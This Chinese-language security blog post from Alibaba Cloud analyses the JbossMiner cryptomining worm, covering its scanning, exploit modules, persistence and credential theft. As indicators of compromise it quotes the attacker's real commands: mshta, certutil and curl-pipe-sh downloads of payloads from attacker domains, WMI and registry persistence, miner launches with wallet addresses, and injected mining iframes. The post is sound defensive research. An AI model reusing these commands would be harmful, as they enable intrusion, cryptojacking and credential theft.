JbossMiner 挖矿蠕虫分析

阿里云安全技术 / 2018-03-20 22:59:57 / 浏览数 21340 技术文章 技术文章 顶(5) 踩(0)

前言

从2013年的诞生，到2016爆发，挖矿(MiningCryptocurrency) 的高回报率，使其成为了一把双刃剑。据外媒去年的统计，比特币的算力（Hash Rate）已在半年内翻了一翻。

当比特币全网算力已经全面进入P算力时代，也就意味着需要有相应计算能力的设备高速运转，不间断地暴力验证和工作，来支撑矿工们的“野心”。

自2017年11月以来，阿里云安全监控中心成功捕获到一系列的同源挖矿事件，被感染的主机中发现了名为F-Scrack-Jexboss的恶意文件，用于执行挖矿任务，并对外扫描扩

通过监控JbossMiner相关情报，阿里云安全团队发现，JbossMiner挖矿蠕虫在18年初爆发式增长，随后增速迅猛，近期稍有回落。

本文将以“JbossMiner”的核心代码为基础，分别从扫描、入侵、利用、挖矿等功能进行展开，完整分析并还原整个过程。希望研究者和非安全专业领域的读者们，能从全局

注：JbossMiner中用到的漏洞，阿里云上已默认可拦截，并且，安骑士已可以检测JbossMiner中的恶意程序，和执行的恶意命令。建议及时关注威胁提示，如有异常事件可

解构JbossMiner：核心代码分析

阿里云安全团队在蜜罐中捕获到该二进制样本，该样本由py2exe打包，解包反编译后是一套由Python编写的完整攻击程序，包含源码及依赖类库等数十个文件，核心功能

其核心功能分为四大部分，分别为：扫描、入侵、恶意代码植入、挖矿。通过这几部分的分工协作，完成整个入侵——植入——持续扩张流程。相关逻辑由Python和Shell

下图为“JbossMiner”完整的传播及利用路径：

下面，本文将对上述四大功能部分进行详细分析。

寻找目标：JbossMiner的扫描过程

内网扫描：读取本机网络地址并据此生成C段进行扫描。

公网扫描：从指定地址拉取IP和子网掩码，并解析成对应的IP列表。

`u.swb.one`会在每次请求时生成一段目标地址，如下所示：

```
199.123.16.0/21
103.30.248.0/22
58.10.0.0/15
94.76.64.0/18
```

随后JbossMiner对目标IP进行ICMP探活，随后对存活主机的指定端口进行扫描，并根据端口对应的服务启动攻击模块。

攻陷宿主：JbossMiner的入侵模块分析

JbossMiner蠕虫客户端内置的入侵模块有以下几种。

首先是Jboss利用模块

Jboss是一款开源的企业级Java中间件，用于实现基于SOA架构的web应用和服务。2015年，安全研究人员披露Java反序列化漏洞利用方案，Jboss首当其冲，直至今日仍有

第二，Struts2利用模块

Struts2是当下流行的Java网络应用框架，针对该框架的命令执行漏洞层出不穷。据阿里云态势感知观测，目前Struts框架漏洞仍为黑色产炙手可热的入侵手段。JbossMiner

第三，"永恒之蓝"利用模块

永恒之蓝（EternalBlue）是美国国家安全局开发的漏洞利用程序，于2017年4月14日被黑客组织公开，并催生了以WannaCry为首的诸多蠕虫变种。目前很多机器已经修复

第四，MySQL利用模块

MySQL服务的攻击面主要集中在SQL注入、弱口令及未授权访问。JbossMiner中的MySQL利用模块对系统及MySQL版本进行了简单适配，通过以下两种方式穿透到主机。

- 利用方式1
  通过outfile/dumpfile导出文件，加载为UDF，执行系统命令。

UDF以16进制的方式存在于Python代码中，对Windows、Linux进行适配。

落盘文件IOC

■■■

```
lib_mysqludf32_sys.dll
lib_mysqludf64_sys.dll
lib_mysqludf32_sys.so
lib_mysqludf64_sys.so
```

该木马携带的lib_mysqludf32/64动态链接库，其核心功能就是为了执行MySQL命令，以便运行恶意脚本，该木马作者将执行命令的代码放在了sys_bineval函数中，其

代码截图如下（Linux版本的代码类似）：

- 利用方式2

通过开启查询日志，并设定日志文件路径在crontab目录下，可以向定时任务写入恶意代码，除此之外MySQL中还有其他类似的日志配置文件可被利用。

第五，Redis利用模块

Redis服务的攻击面以未授权访问和弱口令为主，利用该服务穿透到主机进行后续渗透的方法五花八门，如利用数据导出功能将恶意代码写入系统的指定位置（如web后门、
JbossMiner首先探测目标Redis服务是否存在未授权登录，随即使用内置字典爆破密码，并将成功后的信息回传到黑客控制的回显平台。

其中make_crontab函数通过写crontab的方式穿透到系统，接入后续挖矿代码。

最后是Tomcat/Axis利用模块

JbossMiner针对Tomcat/Axis服务的入侵方式为WEB层弱口令爆破。

成功登入后，通过Tomcat上传功能部署后门，war包代码以hex格式存于Python代码中。

随后通过HTTP请求连接后门，依次下发后续利用的命令。

对Axis服务的利用方式与之相同，不再赘述。

部署的后门地址IOC如下：

服务	后门地址
Axis	http://%s/axis2/services/Cat/exec?cmd=
Tomcat	http://%s/is/cmd.jsp?pwd=futuresec&&cmd=

持续扩张：JbossMiner的后续利用方式

JbossMiner在成功攻破的服务器中执行系统命令以完成后渗透利用，具体指令如下：

```
'SchTasks.exe /Create /SC MINUTE /TN Update2 /TR "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt" /MO 5 /F',
'wmic process call create "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt"',
'curl -sL https://lnk0.com/VhscA1 | sh',
'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL",
'wmic /NAMESPACE:"\\root\\subscription" PATH CommandLineEventConsumer CREATE Name=999, CommandLineTemplate="mshta http://enjoy
'wmic /NAMESPACE:"\\root\\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=888", Consumer="Comma
'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL",
'bitsadmin /create updateer3',
'bitsadmin /addfile updateer3 %SYSTEMROOT%\\System32\\mshta.exe %temp%\\mshta.exe',
'bitsadmin /SetNotifyCmdLine updateer3 mshta.exe "http://enjoytopic.esy.es/ps3.txt"',
'bitsadmin /Resume updateer3'
```

使用
SchTasks.exe、wmic、bitsadmin来实现在Windows平台的自启动，除此之外，并针对Windows和Linux执行不同的脚本，后续所有的恶意行为都由这两个脚本来完成，主

文章后面部分内容，将针对这两部分详细分析。

针对Windows系统的利用程序（vbs脚本）
http://enjoytopic.esy.es/ps3.txt

Linux系统的利用程序（Shell脚本）
https://lnk0.com/VhscA1

Windows Payload

针对Windows系统，JbossMiner在攻击成功后将使用mshta命令执行名为ps3.txt的vbs脚本，ps3.txt中的shellcode执行流程简图如下：

ps3.txt文件的部分内容截图如下：

解密后的vbs中嵌入了一段powershell命令，解密后，var_code即为最终要执行的代码（base64编码）如下：

var_code是为一段shellcode，shellcode内自己实现LoadLibrary和GetProcAddress逻辑，动态加载wininet.dll，获取wininet.HttpOpenRequestA等相关API来实现http的

它会请求d1uga3uzpppiit.cloudfront.net/dCrC文件，该文件是一个加密后的DLL，MZ头经过精心构造，可直接当作代码执行。解密后的dll中包含导出函数ReflectiveLoad

该dCrC文件主要作用就是接受服务器下发的powershell命令并运行，其核心代码截图如下：

在dCrC文件与swb.one服务器交互，接收其powershell命令并执行，完成自启动和下发其他恶意程序（挖矿、蠕虫、窃密）。

powershell命令经过解密后如下：

```
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value mshta ht

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater2 -PropertyType String -Value regsvr3

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater3 -PropertyType String -Value regsvr3

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater111';EventNameSpace='roo

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater222';EventNameSpace='roo
```

除了上述的下发powershell命令外，还下发了两条下载命令：

```
C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/tg3.txt %temp%\svthost.exe &&wmic pr
C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/fix.txt %temp%\svshost.exe &&wmic pr
```

分别下载svthost.exe的后门程序和svshost.exe横向渗透传播程序，其中svshost.exe横向渗透传播程序也是由python脚本打包而成的exe程序，于运行时释放运行所需文件

下面再来看看这个svthost.exe的后门程序是如何盗取浏览器用户名和密码信息的 — 我们在测试环境下作了验证。

后门程序不仅盗取Chrome浏览器中存储的账号和密码，还盗取Firefox浏览器中存储的账号和密码。其上传盗取数据的接口是：`https://u.swb.one/upload/win`，相关

Chrome浏览器将访问网站的相关用户名和密码，加密保存在一个SQLite数据库中，路径为：`%APPDATA%\..\Local \Google\Chrome\User Data\Default\Login Data`"。svthost.exe后门程序首先遍历进程检查被攻击者的电脑是否运行了Chrome浏览器(chrome.exe)，之后再去获取Chrome浏览器账号和密码保存的数据库文件，解密

检查Chrome浏览器保存密码的数据库路径：

其中`sub_417C10`函数拿到解密后的账号和密码，发送到外部服务器。

同样，svthost.exe后门程序也是先确认该用户是否安装了Firefox浏览器，然后利用NSS的开源库，对没有设置浏览器设定主密码的攻击对象(一般会默认为空)进行破解，提取

检测是否安装了Firefox浏览器代码片段：

加载NSS开源库的nss.dll，然后利用其提供函数进行运算：

最后拿到被攻击者的网站，以及其对应的用户名和密码，并上传到服务器，其代码片段如下：

Linux Payload

针对Linux系统，JbossMiner在攻击成功后将命令写入crontab来实现后续利用，宿主机将定期下载指定shell脚本执行。

对该shell进行进一步分析，首先从远端拉取名为`hawk`的文件并执行。

该文件实为MetaSploit中的Mettle组件，根据预设的DNS(cs.swb.one)查找控制端反弹shell，其中swb.one域名下多次发现黑客资产，分别用于文件服务、接收爆破成功后

获取利益：JbossMiner挖矿过程

JbossMiner针对Windows和Linux系统分别做了两套挖矿程序，实现跨平台挖矿。两套挖矿程序在不同平台下的运转详情分析如下。

Windows平台的挖矿部分

在Windows系统上，JbossMiner蠕虫执行`regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll`等命令，在vbs脚本中实现下载挖矿程序并执行，相关代码如下：

这里借助`MSXML2.XMLHTTP`和`WScript.Shell`对象，将`http://enjoytopic.esy.es/rigd32.txt`挖矿程序下载到系统的临时目录，配置矿池和钱包参数，启动挖矿程

Linux平台的挖矿部分

JbossMiner蠕虫在linux平台上启动的sh脚本具体内容如下，它判断用户是否为root，若是则执行`lowerv2.sh`，若否则再次尝试写root用户的crontab，同时执行`rootv2.`

以低权限挖矿脚本(lowerv2.sh)为例，脚本从远端下载矿机的配置文件(config.json)和挖矿程序(bashd)进行挖矿，同时复用上述反弹shell的部分代码。其内置了三组配置文

执行次序	挖矿程序	配置文件

1	lienjoy.esy.es/bashd	lienjoy.esy.es/config.json
2	lienjoy.esy.es/bashe	lienjoy.esy.es/config.txt
3	lienjoy.esy.es/bashf	lienjoy.esy.es/bashf.cfg

高权限挖矿脚本(rootv2.sh)挖矿逻辑与lowerv2相同，只是删除了写root用户的定时任务相关代码。

配置文件主要用于云控配置矿池地址和钱包地址，大部分类似。以config.json为例，其详细内容如下：

主页篡改-JS挖矿

基于阿里云态势感知，我们同期监控到多起Webshell通信事件与主页挂马事件。经分析发现，与JbossMiner为同一团队所为。与本次行动相关的Webshell，覆盖多种脚本

黑客通过Webshell向主机下发挖矿程序，同时在目标CMS主页插入前端挖矿代码，利用访问者的算力进行挖矿。

部分通过webshell执行的命令：

```
C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -executionpolicy bypass -noprofile -windowstyle hidden (new-o
C:\\Windows\\TEMP\\explorer.exe\" -o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcP
reg  add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v Updater2 /t REG_SZ /d C:\\Users\\Public\\Updater2.vbs /f
cmd.exe /c cmd /c \"cd /d D:\\phpStudy\\WWW\\&certutil -urlcache -split -f http://121.126.223.211/tg.exe c:\\a.exe && wmic pro
C:\\Windows\\system32\\cmd.exe /C certutil -urlcache -split -f http://enjoytopic.esy.es/tg3.txt svthost.exe && svthost.exe
```

主页插入代码：

```
<IfRAME height=0 width=0 sRc ="http://d3lvemwrafj7a7.cloudfront.net/c"></IFrAME>
<script>var commandModuleStr = '<script src="https://d1ebv77j9rbkp6.enjoytopic.com/hook.js" type="text/javascript"><\/script>'
```

其中iframe标签携带挖矿代码，矿池地址为pool.blockbitcoin.com，代码复用自开源矿池CryptoNoter。

结语

通过对JbossMiner的整体分析，我们发现，由于网上现成攻击代码的泛滥，和恶意文件对PE、ELF等可执行文件的依赖性减弱，使攻击者的技术门槛进一步降低。

例如，在JbossMiner中，由于借助wmi实现自启动，使用regsvr32.exe等下载恶意脚本执行，加之功能主要由vbs脚本实现，最后又借用了metasploit等成熟的攻击套件。

从勒索软件、到挖矿木马，如何提升自身的防御水平，而不是简单的拉长防线，是业界和企业，需要警惕和思考的问题。

注：威胁情报来源 - 阿里云态势感知，阿里云安骑士，蜜罐

上一篇：关于利用rundll32执行程序的分析 下一篇：基于PU-Learning的恶意U...

1. 2 条回复

Mountain 2018-03-25 22:48:59

样本可以提供一下吗？感谢！

0 回复Ta

zwz**** 2018-04-23 12:48:47

@Mountain**

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板